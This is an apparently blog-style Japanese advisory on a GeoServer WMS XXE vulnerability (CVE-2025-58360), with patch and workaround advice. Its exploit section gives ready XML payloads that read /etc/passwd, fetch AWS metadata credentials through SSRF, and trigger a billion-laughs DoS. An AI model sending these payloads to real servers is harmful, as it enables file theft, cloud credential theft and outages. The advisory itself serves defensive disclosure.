🔓 🛰️ 'CVE-2025-58360' GeoServer WMSエンドポイントがXXE攻撃に対して脆弱 🌟

🏷️ 基本情報

• CVE ID: CVE-2025-58360
• 公開日: 📅 2025年11月25日
• 最終更新日: 📅 2025年11月25日（11月26日時点でまだ新しい）
• 脆弱性タイプ: XML External Entity (XXE) – CWE-611
• 影響を受けるソフトウェア: GeoServer（Javaで書かれたオープンソースの地理空間サーバー）
• 深刻度: 🔥 高 – CVSS v3.1 Base Score 7.5
  • Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
• 実際の悪用: 🟡 まだ確認されていません（2025年11月26日時点）– しかし公開PoCが出回っています
• 認証の必要性: ❌ 不要 – 完全に認証不要
• ユーザーインタラクションの必要性: ❌ 不要

🎨 このバグが特別（そして危険）な理由

これはWeb Map Service（WMS）GetMapエンドポイントにおける古典的だが壊滅的なXXEです。
攻撃者は以下が可能です：

• 📂 GeoServerプロセスがアクセスできる任意のファイルを読み取る（/etc/passwd、geoserver.xml、秘密鍵など）
• 🌐 Server-Side Request Forgery（SSRF） を実行し、内部ネットワークをスキャンしたり、メタデータエンドポイント（例：AWS/GCP）にアクセスする
• 💣 エンティティ展開攻撃（"billion laughs"）によるサービス拒否（DoS） を引き起こす
• 🔗 他の脆弱性と連鎖させて完全なRCEを達成する可能性（直接ではないが、設定ミスがある環境では可能性あり）

🛡️ 影響を受けるバージョン（詳細表）

🌍 グローバルな露出状況（2025年11月26日時点のリアルタイム）

→ 現在、数万の潜在的に脆弱なサーバーがオープンインターネット上に存在しています！🌐

🧨 完全な技術的エクスプロイト解説

エンドポイント: POST /geoserver/wms
キーパラメータ: SLD_BODY（生のXMLスタイルを許可）
脆弱なコードパス: XMLパーサーが外部エンティティ解決を無効にしていない → 古典的なXXE。

例1 – ファイル開示（/etc/passwd）

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<sld:StyledLayerDescriptor xmlns:sld="http://www.opengis.net/sld" version="1.0.0">
  <sld:UserLayer>
    <sld:LayerFeatureConstraints>
      <sld:FeatureTypeConstraint>&xxe;</sld:FeatureTypeConstraint>
    </sld:LayerFeatureConstraints>
  </sld:UserLayer>
</sld:StyledLayerDescriptor>

→ レスポンスに /etc/passwd の内容が含まれます 🎉

例2 – 内部メタデータへのSSRF（AWSの例）

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

→ EC2上で実行している場合、一時的なAWS認証情報が漏洩します。

例3 – Billion Laughs DoS

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!-- lol9まで繰り返し -->
]>
<lol>&lol9;</lol>

→ 数秒で数ギガバイトのRAMを消費します 💥

🛠️ 公式パッチとダウンロード

Dockerユーザー向け:

docker pull osgeo/geoserver:2.27.0

🔧 回避策（すぐにパッチを適用できない場合）

1. WAF/mod_securityルールで危険なXMLをブロック:
   <!ENTITY または SYSTEM "file://" を含むリクエストを拒否
2. SLD_BODYパラメータをグローバルに無効化（不要な場合）
3. GeoServerを読み取り専用ファイルシステムで実行 + ケーパビリティを削除
4. リバースプロキシの背後に配置し、認証されていないユーザーからのXML本文を除去

📢 公式リファレンスとPoC

• NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2025-58360
• GeoServerセキュリティアドバイザリ: https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525
• JIRAチケット: https://osgeo-org.atlassian.net/browse/GEOS-11682
• 公開安全PoC（Python）: https://gist.github.com/bolhasec/32fa035354d7cc9417aa297e2fe22b30
• Nucleiテンプレート（自動検出）: メインブランチに既にマージ済み

⏰ タイムライン

✨ 最後に

これは、広く展開されている地理空間プラットフォームを標的とし、数万ものインターネットに露出したインスタンスが影響を受ける教科書的なXXEです。
パッチは開示と同日にリリースされました — GeoServerチームの迅速な対応に大きな拍手を！🏆
しかし、パッチが利用可能になってから大規模な悪用が始まるまでの猶予は急速に縮まっています。

GeoServerを運用している場合 → 今すぐアップグレードを。
次のニュースの見出しにならないでください。

セキュリティを保ち、輝き続けましょう！🛡️✨